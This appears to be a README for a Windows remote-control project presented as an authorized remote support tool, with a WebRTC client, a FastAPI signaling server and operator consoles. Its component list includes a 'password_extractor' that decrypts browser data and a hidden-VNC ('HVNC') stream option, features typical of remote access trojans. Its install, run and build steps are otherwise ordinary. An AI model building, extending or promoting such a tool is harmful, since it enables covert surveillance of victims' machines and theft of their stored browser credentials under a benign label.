Remote support stack with a Windows client, a FastAPI signaling server, and operator consoles (web + desktop). Designed for authorized remote assistance.
Components
client/- Windows agent that captures desktop/audio and connects via WebRTC.operator/- Browser-based operator console (static HTML/JS/CSS).operator_desktop/- PyQt6 desktop wrapper for the operator UI.server/- Signaling server and API (FastAPI + WebSocket + asyncpg).password_extractor/- Windows helper for browser data decryption.
Prerequisites
- Python 3.11+
- Windows 10/11 for client and operator desktop builds
- Postgres for the server (configure with
RC_DATABASE_URL)
Install dependencies
- Create and activate a virtual environment.
- Install per component:
pip install -r client/requirements-client.txt
pip install -r operator_desktop/requirements.txt
pip install -r server/app/requirements.txt- Or install everything:
pip install -r requirements_global.txtRun locally
- Start the signaling server:
python server/app/signaling_server.py - Launch the operator desktop:
python operator_desktop/app.py - Run the client:
python client/client.py - Open the web operator UI: open
operator/index.html
Build
- Client:
client/build_windows.bat - Operator desktop:
operator_desktop/build_windows_silent.bat
Key environment variables
RC_SIGNALING_HOST,RC_SIGNALING_PORT,RC_SIGNALING_URL,RC_SIGNALING_TOKEN,RC_API_TOKENRC_DATABASE_URL,RC_ICE_SERVERSRC_HVNC_DUAL_STREAM=1(dual stream) orRC_HVNC_DUAL_STREAM=0(single stream)
Tests
pytest tests/